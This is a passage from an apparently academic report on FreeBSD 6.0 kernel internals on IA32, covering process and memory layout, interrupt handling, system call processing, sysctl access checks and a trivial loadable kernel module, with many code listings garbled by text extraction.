team of volunteerswas to provide a free, primarily IA32-basedsystemto an audienceas
broad as possible. Further attention was surely turned to reliabilit y, performance,and
security.

At the time of this writing, the recent versionof FreeBSDis 6.0. We specify FreeBSD
6.0-RELEASE (GENERIC) on Intel IA32 to be the object of our investigation.

3.2 Overview of the Kernel

The FreeBSD kernel is the part of the system that runs in kernel mode. This part
is exactly composed of the interrupt service processesand other kernel mode system
processes, as well as user processeswhen executing in kernel mode. All other (non-
kernel) execution is done on behalf of user processesin user mode. The entiret y of all
components of a processtogether with its state is called the context of a process. For
each processthe context consistsexactly of its memory image, its dedicatedentry in the
processtable, and its valuesof CPU registers. The memory image of a processincludes
the program text, the program data, and a stack. It need not necessarilyreside in
main memory always, except for parts of the kernel. The processtable is arranged as a
linked list of processstructures managedwithin the kernel. A processstructure contains
administrativ e information about the processsuch asscheduling priorit y, �le descriptors,

19
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or information about virtual memory like page directories and page tables. When a
processis suspended, the CPU registers are de�ned by a special machine-dependent
structure saved in the processstructure. On Intel IA32 this is the task state segment
(TSS). As an aside, FreeBSD is capable of multiple kernel level execution threads per
process,so one TSS per thread is necessary.

The switch from user mode to kernel mode is achieved via call gates,as we pointed
out above. We analyze the characteristics of FreeBSD in this area in Section 3.4.

By means of this environment { created during the boot activit y { the FreeBSD
systemis able to perform its services.The following few examplesof this shall emphasize
that everything is doneon behalfof a process{ systemor user. To print out an exhaustive
list of processesissueps -efaux in the shell.

Important for multitasking is the capability for context switching, i.e. shifting control
from one processto another. When a processvoluntarily intends to releaseexecution
control, it performsa context switch in kernel mode after a systemcall such assleep() .
In order to suspenda processinvoluntarily , FreeBSDusesthe clock tick interrupt service
routine hardclock() , which is invoked 100 times per secondvia a hardware interrupt
and is handled by the processin kernel mode, to force the initiation of a context switch.

The creation of new processesis accomplishedby any user processin kernel mode
via the systemcall fork() . The �rst of all userprocessesis the init process,soall user
processesare directly or indirectly children of init .

I/O operation is handled by a set of kernel mode systemprocesses{ namely [g up] ,
[g down], and [g event] { that transfer data between device drivers and processes,
and a set of system processesthat transfer data between device drivers and devices
[35, p.50]. Thus for each interrupt request line (IRQ) that is associated with a device
a system processlistens. For instance [irq16: rl0] for a network device or [irq1:
atkbd0] for the keyboard.

All in all, to comprehendthe functionalit y of the FreeBSD system, one has to ask
�rstly whereupon that environment around processesis built and secondlywhich process
acceptswhich responsibilit y. We pick up what is necessaryfor our investigations in the
following sections.

3.3 Pro cess and Memory Managemen t

3.3.1 The Pro cess Structure

As just described, the top level structure in processmanagement is the per processproc
processstructure, which is de�ned in /usr/src/sys/sys/proc.h . It encompassesall
information neededto managea processby the kernel. More precisely all information
about a processin the kernel can be found there. To examine the processstructure in
detail is negligible here, so we skip walking through its de�nition. Instead Figure 3.1,
which is taken from The Design and Implementation of the FreeBSD Operating System
[35, p.83], gives an incomplete outline of what the processstructure consists for later
reference,which is the goal of this subsection. For further details refer to the header
�le.

The processstructure includes for instance the processgroup, to which a process
may be added, user credentials with the user and group identi�er, a substructure for
maintaining open �le descriptors, statistical information about the process,and limits
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process
structure

thread list

- processgroup

- credentials

- VM space

- �le descriptors

- resourcelimits

- syscall vector

- statistics

thread structure

scheduling info

thread control block

thread kernel stack

machine-dependent

thread information

thread structure

scheduling info

thread control block

thread kernel stack

machine-dependent

thread information

. ..................... ................... ................. ............... ............. ........... . ............. ............... .................. .................... ....................... - -

Figure 3.1: The ProcessStructure [35, p.83]

for system resources. All information referring to the memory image of the process
is collected within the vmspace substructure. To handle the accessof a processto
system servicesvia system calls, the kernel managesa table of all known servicesin
the sysentvec substructure. As mentioned above, every processmay run several kernel
level threads of execution. Therefore all thread related information is contained for each
thread in a separatethread substructure. This includes a TSS, too.

3.3.2 The Memory Image of a Pro cess

The origin of a processis always another processduplicating itself by invoking the
fork() systemcall { except for processescreatedat boot time. If then the child process
issuesan exec() systemcall, it will replaceits memory image by loading an executable
�le. In FreeBSD the standard format for executable �les, relocatable object �les, and
sharedobject �les is the Executableand Linking Format (ELF) [23]. This format de�nes
the layout of the memory image of a processfor the most part. The �le that contains
the kernel /boot/kernel/kernel is an ELF executable as well. Figure 3.2 shows an
abstraction of a typical memory image of a user processthat underlies the program of
Listing 3.1, which can be revealedby the examination of the following shell session.
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Note that in describing the organization of this memory layout in the following, we
speak of segments in three distinct ways:

1. The ISA level provides a hardware segmentation of memory.

2. The user mode visible part of memory is called user segment whereasthe part
that is only visible in kernel mode is called the kernel segment.

3. The view on an ELF binary at loading and execution time subdivides an ELF
binary into segments that are listed in its program header table (PHDR) .

Listing 3.1: /home/alm/example1.c� �
�	��
 j =5; / * dat a * /

��
���� * cp; / * bss * /

������� mai n( �
����� ) {
�	��
 i ; / * s t ack * /
cp=mal l oc ( 16) ; / * heap * /
s l eep ( 5) ;
f r ee( cp) ;

}
� �

Recall that the segmentation capability of the IA32 is circumvented by what is called
the 
at model. In applying this model, all segments { such as the code segment, the
data segment, or the stack segment { rangeover the full 32bit addressspace.Thus only
paging is responsible for hardware memory protection and virtualization by providing
for every processa singlelinear virtual addressspace{ aswepointed out in Section2.4.1.
Sincewe consider IA32, this is a 32bit addressspaceranging from 0x0 to 0xFFFFFFFF,
which are 230 = 4G addresses,hencewith a capacity of 4GB. In particular, privilege
and read/write checking is done on each memory accessattempt by the paging unit on
a per pagebasis,whereby the memory image is structured asdepicted in Figure 3.2. So
for each pageappropriate attributes must exist.

The �rst attribute we consider is the supervisor 
ag in the page table entry of
a page. It indicates whether or not a processis able to accessthe page in user mode.
Thereby the memory imageis divided into the user segment, whereto all allocated pages
between0x080480001 and 0xC0000000belong, and the kernel segment that lies above
0xC0000000. Pagesbelow 0x08048000are either not in useor for system purposes.In

1The magic start value 0x08048000is preset by the link er ld , asonecan reveal by issuing ld -verbose
at the shell.
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Figure 3.2: Memory Image of a User Process

this casethey belong to the kernel segment as well. The specialty in doing so is that
all processes{ user and system processes{ share the samekernel segment by mapping
the appropriate pagesby the paging unit in the exact samemanner for each process.In
particular, the code of all kernel mode execution is located in this kernel segment.

The user and kernel segment are further subdivided into regions that correspond to
vmmapentries2. Regionsmay be separatedamongeach other by the useof the per page
write 
ag and, if available [24], the per pageexecute disable
ag . While the former 
ag
marks a pageas read only for user mode, the latter one prevents code residing in such
a pagefrom being executedin user mode. Additionally , a part of a �le may be assigned
to a region that is then mapped at the appropriate location in memory. As mentioned
above, the view of the loader of an ELF binary at loading time divides the ELF binary
into segmentsaccordingto the program headertable. This table residesat the beginning
of an ELF binary. The loader then createsregionsfor them, sothat at least one, in most
casesexactly one segment �lls one region, not necessarilyexhaustively. In the following
we explain the function of regionsand ELF segments depicted in Figure 3.2.

At the beginning of the user segment 0x08048000 a part at the beginning of the
executable �le is mapped into a read only region. It consists of the ELF header, the
program headertable, and { depicted asText in Figure 3.2 { the �rst ELF segment with
the machine instructions of the program and auxiliary tables and data. The second

2The kernel represents all information about the addressspaceof a processwithin the vmspacesub-
structure of the processstructure. This substructure contains a map of the virtual memory vmmapwhose
entries vmmapentry describe a virtually contiguous range of memory pageswith the same attributes
[35, p.142 et seq.].
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ELF segment of the underlying executable �le, which contains global initialized data
and also auxiliary tables and data, is loaded but not mapped3 into a writable region.
This segment alsocontains information about the sizeof the so-calledBSS(block started
by symbol) area for global uninitialized data, which is also allocated in the sameregion.
This is depicted as BSSand Data in Figure 3.2. Following up to the BSS area, a region
holds dynamically allocated data that may grow towards higher memory addressessuch
as a heap in order to satisfy requests for additional memory. At the end of the user
segment residesthe stack followed by the vector of command line arguments argv and
the vector of environment variables of the process[49, p.179 et seqq.]. Note that the
commentary of Listing 3.1 indicates the location of data in memory.

Somewherebetweenstack and heap the runtime linker /libexec/ld-elf.so.1 and
the standard C library /lib/libc.so.6 are loaded. The C library is loadeddynamically
by the runtime linker in order to provide the required functions sleep() , malloc() ,
and free() . The underlying binary �les are ELF sharedobject �les containing position
independent code [11] that is special for this purpose.

Turning now to the kernel segment: the part at the beginning of the ELF executable
�le /boot/kernel/kernel , which contains the most part of the kernel, is loaded into a
writable region starting from 0xC0400000. It includes the kernel program text as well
as global initialized and uninitialized data [35, p.145 et seq.], depicted as Kernel Text,
KernelData, and KernelBSSin Figure 3.2.

This part is followed by the kernel heap containing all dynamically allocated kernel
memory. For instance when a processis created the kernel allocates space for the
processstructure on the heap. The pointer to the sysentvec structure therein points
to the appropriate location in the kernel data area, where in particular the system call
table resides. To �nd out its preciseaddress,we can use the symbol table of the ELF
executable

freebsd$ ��
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���
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Symbol table '.dynsym' contains 7475 entries:
Num: Value Size Type Bind Vis Ndx Name
[...]
690: c08bdf60 5472 OBJECT GLOBALDEFAULT 19 sysent
[...]

3.4 Exceptions and In terrupts

The handling of exceptions and interrupts is covered insofar as by this meansan entry
to the kernel is accomplished{ i.e. a protection domain switch from userto kernel mode.
In particular, the system call interface is realized in this way.

An interrupt also called hardware interrupt is an event raised asynchronously by
the hardware that interrupts the currently executing processand shifts control either
to the appropriate (kernel mode) interrupt serviceprocessor the appropriate interrupt
serviceroutine of the interrupted processin kernel mode. An exception occursif an error
condition is met during the executionof an instruction. For instance, if a processtries to
accessa memory pagethat is neither allocated nor accessiblebecauseof being a system
page, the hardware raisesa page fault exception [45, p.265]. The processthen enters

3 I.e. the segment is not assignedto the region in its vmmapentry
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kernel mode in order to handle the exception and perhapscausesitself to terminate. In
caseof a kernel entry we call an exception a hardware trap. By the use of the int n
instruction a processis able to perform an entry to the kernel, which is called a software
initiate d trap.

All in all, an entry to the kernel is accomplishedby either a hardware interrupt, a
hardware trap, or a software initiated trap. 4 Traps are servicedby the top half of the
kernel, whereasthe bottom half handlesinterrupt requests.According to that, a system
call is a special software initiated trap { namely int 0x80, as shown below.

3.4.1 The In terrupt Descriptor Table

Intel IA32 handles interrupts and exceptionsby using the memory basedinterrupt de-
scriptor table (IDT) . This table is located as an array in the kernel segment of memory
{ namely in the KernelData areadepicted in Figure 3.2. Its entries are special structures
called descriptors.

When an interrupt or an exception occurs there is a number assignedto it that the
CPU usesas an index in the IDT to selecta descriptor that describesthe CPU how to
proceedfurther. In caseof the software initiated interrupt via the int n instruction its
argument n selectsan entry in the IDT. For thesepurposesthe CPU holds a dedicated
register that points to the baseaddressof the IDT.

There can be three typesof descriptors in the IDT that all can act as a call gate:

� If a trap gatedescriptor is selected,control is transferred to a kernelmode interrupt
serviceroutine in the kernel segment. In particular, no task switch occurs.

� The caseof an interrupt gate descriptor di�ers from the previous caseonly in
additionally disabling interrupts such that the execution of the interrupt service
routine cannot be interrupted by another maskable interrupt.

� In caseof a task gates descriptor a task switch to an interrupt service process
occurs.

FreeBSD de�nes IDT entries via the setidt() function as shown in Listing 3.2.
Parameter idx meansthe index number in the IDT, func the addressof the interrupt
service routine, typ the type of the descriptor, dpl the privilege level that is required
of a processthat issuesa software initiated trap via the int instruction, and selec the
code segment selectordescribing the privilege level of the segment where the interrupt
service routine resides. This privilege level is kernel mode, since all interrupt service
routines reside in the kernel segment.

Listing 3.2: /usr/src/sys/i386/i386/m achdep.c� �
1526

�������

1527 set i dt ( i dx , f unc , t yp , dpl , sel ec )
1528

�	��
 i dx ;
1529 i nt hand_t * f unc ;
1530

�	��
 t yp ;
1531

�	��
 dpl ;
1532

�	��
 sel ec ;

4 Intel IA32 provides a further mechanism to switch to kernel mode: the possibility to call a kernel
mode procedure directly via a so-called procedure call gate descriptor. This is not used in FreeBSD.
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1533 {
1534 �


���� ��
 gat e_desc r i pt or * i p;
1535

1536 i p = i dt + i dx ;
1537 i p - >gd_l oof f set = ( ����
 ) f unc ;
1538 i p - >gd_sel ec t or = sel ec ;
1539 i p - >gd_st kcpy = 0;
1540 i p - >gd_xx = 0;
1541 i p - >gd_t ype = t yp ;
1542 i p - >gd_dpl = dpl ;
1543 i p - >gd_p = 1;
1544 i p - >gd_hi of f set = ( ( �	��
 ) f unc ) >>16 ;
1545 }

� �

3.4.2 Call Gates

As mentioned above, there is a precisely de�ned way to perform a protection domain
switch from usermode to kernel mode initiated by a process:a call gate. Note that this
includes neither the caseof a hardware interrupt nor the caseof a hardware trap since
thesecannot be directly triggered by a processin user mode.

According to Subsection3.4.1a call gate can be realizedby an entry in the IDT that
has a dpl value of SELUPL, which stands for user mode. In FreeBSD on Intel IA32 is
exactly one call gate, namely the entry number 0x80 in the IDT. This entry is set in
/usr/src/sys/i386/i386/m achdep.c where a major part of the IDT is set up while
booting. As shown in Listing 3.3 and 3.4 this entry de�nes a trap gate descriptor that
invokesint0x80 syscall , which is de�ned in /usr/src/sys/i386/i386/ excepti on.s ,
as interrupt serviceroutine.

Listing 3.3: /usr/src/sys/i386/i386/m achdep.c� �
2150 set i dt ( I DT_SYSCALL , &I DTVEC( i nt 0x80_syscal l ) , SDT_SYS386TGT , SEL_UPL ,
2151 GSEL( GCODE_SEL , SEL_KPL ) ) ;

� �

Listing 3.4: /usr/src/sys/i386/inclu de/ segments .h� �
50

�

�����
����� SEL_KPL 0 / * ker nel pr i or i t y l evel * /
51

�

�����
����� SEL_UPL 3 / * user pr i or i t y l evel * /

112
�

�����
����� SDT_SYS386TGT 15 / * sys t em 386 t r ap gat e * /

198
�

�����
����� I DT_SYSCALL 0x80 / * Syst em Cal l I nt er r upt Vect or * /
� �

By this meansa userprocesscan accessthe kernel to make useof its services,where
the name system call for this sort of call gate comesfrom. We consider system call
processingin detail in Subsection3.4.3.

3.4.3 System Call Pro cessing

Although a processis able to issuea int 0x80 for itself, it is more convenient to use
a library function that provides the functionalit y of the system call by executing the
appropriate instructions. Hencetypical system call operation is as follows.
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1. A processcalls a library function in order to accessa kernel service,say sleep()
as in Listing 3.1. This library function is part of the standard C library, which
is dynamically linked in the memory layout of the processby the runtime linker
/libexec/ld-elf.so.1 .

2. The library function preparesfor the systemcall, in particular by passingthe ap-
propriate parametersonto the stack aswell asby saving the identi�cation number
of the system call in the general purposeCPU register EAX { sleep() usesthe
system call nanosleep() whosenumber is 0xf0 . Then it issuesint 0x80.

freebsd% �
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[...]
(gdb)

�

��
�	�� ��	�� � ����
�
��

Function "nanosleep" not defined.
Make breakpoint pending on future shared library load? (y or [n]) �

Breakpoint 1 (nanosleep) pending.
(gdb) �

Starting program: /home/alm/example1
Breakpoint 2 at 0x280b578c
Pending breakpoint "nanosleep" resolved

Breakpoint 2, 0x280b578c in nanosleep () from /lib/libc.so.6
(gdb)

�


�� 	��

Dumpof assembler code for function nanosleep:
0x280b578c <nanosleep+0>: mov $0xf0,%eax
0x280b5791 <nanosleep+5>: int $0x80
[...]

3. According to Listing 3.5, the interrupt service routine int0x80 syscall , which
already executesin kernel mode, is called through the IDT.

Listing 3.5: /usr/src/sys/i386/i386/ excepti on.s� �
179 / *
180 * Cal l gat e ent r y f or Fr eeBSD ELF and Li nux / Net BSD syscal l ( i nt 0x80)
181 *
182 * Even t hough t he name says ' i nt 0x80' , t hi s i s ac t ual l y a TGT ( t r ap gat e)
183 * r at her t hen an I GT ( i nt er r upt gat e) . Thus i nt er r upt s ar e enabl ed on
184 * ent r y j us t as t hey ar e f or a nor mal syscal l .
185 * /
186 SUPERALI GN_TEXT
187 I DTVEC( i nt 0x80_syscal l )
188 pushl $2 / * s i zeof " i nt 0x80" * /
189 subl $4 , %esp / * sk i p over t f _t r apno * /
190 pushal
191 pushl %ds
192 pushl %es
193 pushl %f s
194 movl $KDSEL , %eax / * swi t ch t o ker nel segment s * /
195 movl %eax , %ds
196 movl %eax , %es
197 movl $KPSEL , %eax
198 movl %eax , %f s
199 FAKE_MCOUNT ( TF_EI P( %esp) )
200 cal l syscal l
201 MEXI TCOUNT
202 j mp dor et i

� �
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4. Before the actual system call handler syscall() depicted in Listing 3.7 is called
from exception.s , all general registers { including EAX { as well as the seg-
ment registersare pushedonto the stack by pushal and other push instructions.
Thereby the parameter which the callee syscall() can expect on the stack be-
comesthe layout of a struct trapframe , shown in Listing 3.6.

Listing 3.6: /usr/include/machine/fr ame.h� �
47 �


�� � ��
 t r apf r ame {
48

����
 t f _f s ;
49

����
 t f _es ;
50

����
 t f _ds ;
51

����
 t f _edi ;
52

����
 t f _es i ;
53

����
 t f _ebp ;
54

����
 t f _i sp ;
55

����
 t f _ebx ;
56

����
 t f _edx ;
57

����
 t f _ecx ;
58

����
 t f _eax ;
59

����
 t f _t r apno ;
60 / * bel ow por t i on def i ned i n 386 har dwar e * /
61

����
 t f _er r ;
62

����
 t f _ei p ;
63

����
 t f _cs ;
64

����
 t f _ef l ags ;
65 / * bel ow onl y when c r oss i ng r i ngs ( e. g. user t o ker nel ) * /
66

����
 t f _esp ;
67

����
 t f _ss ;
68 } ;

� �

5. The systemcall handler obtains the addressof the parameterson the stack aswell
as the identi�cation number of the requestedsystem call from the saved EAX on
the stack.

Listing 3.7: /usr/src/sys/i386/i386/t rap .c� �
868

�������

869 syscal l ( f r ame)
870 �


�� � ��
 t r apf r ame f r ame;
871 {
872 caddr _t par ams ;
873 �


�� � ��
 sysent * cal l p ;
874 �


�� � ��
 t hr ead * t d = cur t hr ead ;
875 �


�� � ��
 pr oc * p = t d - >t d_pr oc ;
876 r egi s t er _t or i g_t f _ef l ags ;
877 u_i nt s t i cks ;
878

����
 er r or ;
879

����
 nar g;
880

����
 ar gs [ 8] ;
881 u_i nt code;

904 par ams = ( caddr _t ) f r ame. t f _esp + �

������� � ( �	��
 ) ;
905 code = f r ame . t f _eax ;

After a check whether the code is in the valid range, the appropriate entry of the
system call table is assignedto callp .

937
� � ( code >= p- >p_sysent - >sv_s i ze )
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938 cal l p = &p- >p_sysent - >sv_t abl e [ 0] ;
939

���

�

�

940 cal l p = &p- >p_sysent - >sv_t abl e [ code] ;

The system call table is organizedas an array of sysent structures, as shown in
Listing 3.8. To accessthe system call table the pointer sv table is used. It is
contained in the sysentvec structure p sysent , which itself is a substructure of
the processstructure wherep points to. SeeFigure 3.1. The sysentvec structure
is de�ned in /usr/src/sys/sys/sysent.h . The instanceof this structure usedfor
FreeBSDbinaries is de�ned in /usr/src/sys/i386/elf machdep.c. For example
to run Linux binaries, FreeBSDusesa di�eren t sysentvec structure containing a
di�eren t system call table for the corresponding process.

The following Listing shows that the number of arguments is obtained from the
entry in the systemcall table and saved in narg.

942 nar g = cal l p - >sy_nar g & SYF_ARGMASK;

In caseof the availabilit y of arguments, (narg * sizeof(int)) bytes are copied
from the user segment addressparams, where the actual arguments reside, to the
kernel segment addressargs .

947
� � ( par ams ! = NULL && nar g ! = 0)

948 er r or = copy i n ( par ams , ( caddr _t ) ar gs ,
949 ( u_i nt ) ( nar g * �

� ����� � ( �	��
 ) ) ) ;
950

���

�

�

951 er r or = 0;

The handler calls the function implementing the systemcall with its arguments.

976 er r or = ( * cal l p - >sy_cal l ) ( t d , ar gs ) ;
� �

Listing 3.8: /usr/src/sys/sys/sysent.h� �
41 �


�� � ��
 sysent { / * sys t em cal l t abl e * /
42

����
 sy_nar g ; / * number of ar gument s * /
43 sy_cal l _t * sy_cal l ; / * i mpl ement i ng f unc t i on * /
44 au_event _t sy_auevent ; / * audi t event assoc i at ed wi t h syscal l * /
45 } ;

� �

6. In our examplethe function pointer *callp->sy call points to the nanosleep()
function. This can be seenin Listing 3.9 where this entry of the systemcall table
is initialized.

Listing 3.9: /usr/src/sys/kern/init sysent.c� �
272 { SYF_MPSAFE | AS( nanos l eep_ar gs ) , ( sy_cal l _t * ) nanos l eep , AUE_NULL

} , / * 240 = nanos l eep * /
� �

The nanosleep() function is implemented in /usr/src/sys/kern/kern time.c .
After performing its time waiting servicenanosleep() returns to the system call
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handler syscall() , which itself returns to usermode to �nish the systemcall after
the clean-up.

3.5 Access Con trol

Picking up again the conceptsof Section 2.3, the goal of this section is to shed some
light on the implementation of the accesscontrol mechanism in FreeBSD. A process{
i.e. a subject { can only interact with the outside of its virtualized world via the system
call interface. The ISA level provides this by meansof virtualization mechanisms and
protection domains. Everytime a processissuesa systemcall, the kernel checks on behalf
of the routine that implements the systemcall whether or not this call conforms to the
security policy. Hencethe accesscontrol mechanism is scattered all over the kernel.

Although FreeBSD implements the traditional UNIX accesscontrol mechanism for
DAC policies, there is an extensionfor further isolating processesfrom each other called
jails and one for providing simple MAC featurescalled security levels.

While we cover the functionalit y and the con�guration of jails and security levels in
Chapter 5, in the remainder of this sectionwe illustrate the implementation of their ac-
cessrestrictions using the exampleof the systemcontrol sysctl() systemcall. Every
system call that is associated with accesscontrol must analogouslycheck whether the
calling processhas the permission to issue this speci�cally parameterized system call.
The sysctl() systemcall is usedto adjust the con�guration of the kernel at runtime
aswell as to retrieve information about the system. We explicitly deal with such system
controls in Section 3.7. At this point we are only interested in the question of how it
is determined whether or not a processthat issueda speci�c sysctl() system call is
allowed to do so. Furthermore, what happensif it is not allowed? The sysctl() sys-
tem call checks �rstly whether the requestedsystem parameter is changeable,secondly
whether the changeof its value is con�ned by a kernel security level, and �nally whether
superuser privileges are required in order to set a new value. In the latter case, the
routine additionally checks if this system control request is a�ected by the jails mech-
anism. If the processis in a jail , it is not allowed to issuecertain sysctl() system
calls. Anytime a permissioncheck fails, the routine returns an operation-not-permitted
error EPERM. Listing 3.10shows the appropriate part of a subroutine of the implementing
routine of sysctl() .

Listing 3.10: /usr/src/sys/kern/kern sysctl.c� �
1205 / * I s t hi s sysc t l wr i t abl e? * /
1206

� � ( r eq - >newpt r && ! ( oi d - >oi d_k i nd & CTLFLAG_WR) )
1207

� � 
 � ��� ( EPERM) ;
1208

1209 KASSERT( r eq - >t d ! = NULL , ( " sysc t l _r oot ( ) :  r eq - >t d == NULL" ) ) ;
1210

1211 / * I s t hi s sysc t l sens i t i ve t o secur el evel s ? * /
1212

� � ( r eq - >newpt r && ( oi d - >oi d_k i nd & CTLFLAG_SECURE) ) {
1213 l v l = ( oi d - >oi d_k i nd & CTLMASK_SECURE) >> CTLSHI FT_SECURE;
1214 er r or = secur el evel _gt ( r eq - >t d- >t d_ucr ed , l v l ) ;
1215

� � ( er r or )
1216

� � 
 ��� � ( er r or ) ;
1217 }
1218

1219 / * I s t hi s sysc t l wr i t abl e by onl y pr i v i l eged user s ? * /
1220

� � ( r eq - >newpt r && ! ( oi d - >oi d_k i nd & CTLFLAG_ANYBODY) ) {
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1221
�	��
 f l ags ;

1222

1223
� � ( oi d - >oi d_k i nd & CTLFLAG_PRI SON)

1224 f l ags = SUSER_ALLOWJAI L;
1225

� �

�

�

1226 f l ags = 0;
1227 er r or = suser _cr ed ( r eq - >t d - >t d_ucr ed , f l ags ) ;
1228

� � ( er r or )
1229

� � 
 ��� � ( er r or ) ;
1230 }

� �

3.6 Kernel Mo dules

A concept of FreeBSD, which strives for maintainabilit y, is to break down kernel func-
tionalit y logically into modules [35, p.598]. A kernel module is an entit y that is able to
run any code in kernel mode at the time of its initialization. Thus it can provide any
functionalit y to the kernel.

One distinguishespermanent kernel modules and kernel loadablemodules, the latter
also being called kernel loadableobjects (KLD) . Permanent kernel modules are logical
parts of the kernel binary and are compiledand linked into /boot/kernel/kernel . This
�le is loaded into memory by the boot loader according to Figure 3.2. Such modulesare
initialized at boot time { i.e. their initialization routine is called by mi startup() in
init main.c { to prepare the FreeBSD system for operation. Examples are the kernel
memory managerand the support for mutexes.

In the other case,the functionalit y of the kernel is extendableat runtime via kernel
loadableobjects. This is provided by a well-de�ned interface,which is especially designed
for this purpose,and is realized by a dedicated set of system calls. Thereby a kernel
loadable object, which residesin a separateELF sharedobject �le, can be loaded and
linked into the kernel at runtime such asa dynamically linked library for a userprocess.
To be more concrete,it is possibleto executearbitrary code in kernel mode on behalf of
an initialization routine of a KLD. It is particularly possibleto add further systemcalls
to the systemcall table and thus to executearbitrary code in kernel mode on behalf of
a self de�ned system call.

3.6.1 Implemen ting and Loading a KLD

This subsection explains in detail the implementation of a KLD as well as the func-
tionalit y of the KLD loading facilit y. For this purposewe walk step by step through
the complete sourcecode of a trivial KLD as shown in Listing 3.125. Along the way
the role and function of the sourcede�nitions are described. We recommendreading
the �les /usr/src/sys/kern/kern linker.c and /usr/src/sys/kern/kern module.c
simultaneously.

Before we begin, a note on how to activate the loading of a module: �rst one needs
to compile the source code, which can be easily achieved by including the dedicated
FreeBSD kernel module make�le /usr/share/mk/bsd.kmod.mk shown in Listing 3.11.
Then the resulting kernel ELF shared object �le has to be invoked with the kldload

5During the implementation of this module we looked at /usr/share/examples/kld/syscall /mod
ule/syscall.c to get knowledge about the format of a loadable module.
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utilit y that passesthis �le to the kldload() systemcall, where kernel loadable module
handling begins. This is shown by the following shell session.

freebsd# �

�����

� � 


�

	�� �

�

� �����

�

freebsd# � �

Makefile mykld.c
freebsd# �
	���


[...]
freebsd# ���

�

��� 	

� � �

� �����

� �

���

Listing 3.11: /home/alm/mykld/Makefil e� �
SRCS = mykl d . c
KMOD = mykl d
KO = ${ KMOD} . ko
KLD = t

. i nc l ude <bsd. kmod. mk >
� �

So our starting point is a KLD resulting from the sourcecode of Listing 3.12 that is
passedto the kldload() systemcall. This systemcall is implemented in /usr/src/sys/
kern/kern linker.c .

Listing 3.12: /home/alm/mykld/mykld.c� �
1

�

����� � � � � <sys / t ypes . h>
2

�

����� � � � � <sys / par am. h>
3

�

����� � � � � <sys / pr oc . h>
4

�

����� � � � � <sys / modul e . h>
5

�

����� � � � � <sys / sysent . h>
6

�

����� � � � � <sys / ker nel . h>
7

�

����� � � � � <sys / sys t m. h>
8

9 �


�� 

� �

�


�� � � 
 mod_met adat a myk l d_mod_met adat a ;
10 �


�� 

� �

�


�� � � 
 sys i ni t myk l d_modul e_sys i ni t ;
11 �


�� 

� � modul edat a_t myk l d_modul edat a ;
12 �


�� 

� � ����
 myhandl er ( �


�� � ��
 modul e * , ����
 , ������� * ) ;

After checking the right security level and superuserprivileges alongsidefurther er-
ror handling, the linker load file() subroutine is called to load the shared object
�le into a new allocated memory area. Then this routine invokes linker file reg
ister modules() as well as linker file sysinit() on whose behalf the following
sourcede�nitions set modmetadatamykld respectively set sysinit mykld arefound.
For this purposethe dedicatedELF sectionsset modmetadataset and set sysinit set
are used,which are created by advising the compiler via the attribute keyword in
each de�nition.

15 �


�� 

� � �
����� �����

�


 * �����

�


 __set _modmet adat a_myk l d
16 __at t r i but e__( ( __sect i on__ ( " set _modmet adat a_set " ) ) )
17 __at t r i but e__( ( __used__ ) )
18 = &myk l d_mod_met adat a ;
19 �


�� 

� � �
����� �����

�


 * �����

�


 __set _sys i ni t _myk l d
20 __at t r i but e__( ( __sect i on__ ( " set _sys i ni t _set " ) ) )
21 __at t r i but e__( ( __used__ ) )
22 = &myk l d_modul e_sys i ni t ;
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The set modmetadataset section contains all modules of the shared object �le 6 as
pointers to modmetadata structures. The kernel managesfor administration purposesa
list of all modulesasa linked list of specialmodulestructures asweexplain in Subsection
3.6.2. To this list linker file register modules() adds a new entry created from
mykld modmetadata, which is de�ned next.

24 �


�� 

� �

�


�� � � 
 mod_met adat a myk l d_mod_met adat a = {
25 MDT_STRUCT_VERSI ON,
26 MDT_MODULE,
27 &mykl d_modul edat a ,
28 " myk l d"
29 } ;

In the other case,the set sysinit set sectioncontains a pointer to a sysinit structure
for each module of the shared object �le. The linker file sysinit() routine �nds
this pointer and calls the function de�ned as its third entry with the fourth entry as
arguments. This is module register init(&mykld moduledata) .

31 �


�� 

� �

�


�� � � 
 sys i ni t myk l d_modul e_sys i ni t = {
32 SI _SUB_DRI VERS ,
33 SI _ORDER_MI DDLE ,
34 modul e_r egi s t er _i ni t ,
35 &myk l d_modul edat a
36 } ;

By this call the actual event handler myhandler of the module with its arguments is
obtained from the following structure7 and invoked with the modulestructure, MODLOAD,
and the pointer to the additional arguments as parameters.

38 �


�� 

� � modul edat a_t myk l d_modul edat a = {
39 " myk l d" ,
40 myhandl er ,
41 NULL / * addi t i onal ar gs f or myhandl er * /
42 } ;

Finally, this is the de�nition of the myhandler initialization and clean-up routine. On
behalf of this routine the whole functionalit y of the module has to be installed in the
kernel or respectively removed from the kernel. Our trivial examplesolelypostsa simple
message.

44 �


�� 

� � ����
 myhandl er ( �


�� � ��
 modul e * modul e , ����
 what , ������� * ar g) {
45

�	��
 er r or = 0;
46 ���

��
���
 ( what ) {
47

���

�

� MOD_LOAD : / * i n case of a LOAD * /
48 pr i nt f ( " Hel l o  Ker nel mode ! \ n" ) ;
49

�

� � ��� ;
50

���

�

� MOD_UNLOAD : / * i n case of a UNLOAD * /
51 pr i nt f ( " Goodbye ! \ n" ) ;
52

�

� � ��� ;
53

� ����� � � 
 :
54 er r or = EOPNOTSUPP;
55

�

� � ��� ;

6 In particular, such shared object �les also called linker �les can contain multiple modules.
7Actually only the name of the module is obtained from this structure and then the module entry in

the list of all modules, which was created by linker file register modules() (seeabove), is consulted
to obtain the addressof the event handler function with its arguments.
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56 }
57

� � 
 ����� er r or ;
58 }

� �

3.6.2 Managing Mo dules in the Kernel

Looking back at Subsection3.6.1, we onceagain pick up the fact that a kernel loadable
module (KLD) is loaded from a special type of sharedobject �le { namely a linker �le .
A linker �le can contain multiple KLDs. In the kernel all information about modules is
handled by two global lists called modules and linker files and by the global integer
variables nextid and next file id . These tables and variables are updated on each
load and on each unload of a module.

As its name implies, modules contains for each loaded KLD exactly one entry of a
module structure, which is shown by Listing 3.13. There are included a unique identi�-
cation number id , the nameof the module name, and a variable refs that is thought to
indicate the number of modules that refer to this module. If refs is greater than 1, it
is not possibleto unload the module. While at loading time this structure is initialized
and addedto the modules list by the module register() routine, which is known from
above, the refs counter is set to 1 as it refers to itself. However, refs is neither incre-
mented by the corekernel code { i.e. code of /boot/kernel/kernel { nor by prede�ned
standard loadable modules. Thereby its usageis limited to self-de�ned kernel module
applications.

Within the the module register() routine the nextid variable, which indicates the
next free identi�cation number for a new loaded module, is incremented by 1.

Listing 3.13: /usr/src/sys/kern/kern module.c� �
50 �


 � � ��
 modul e {
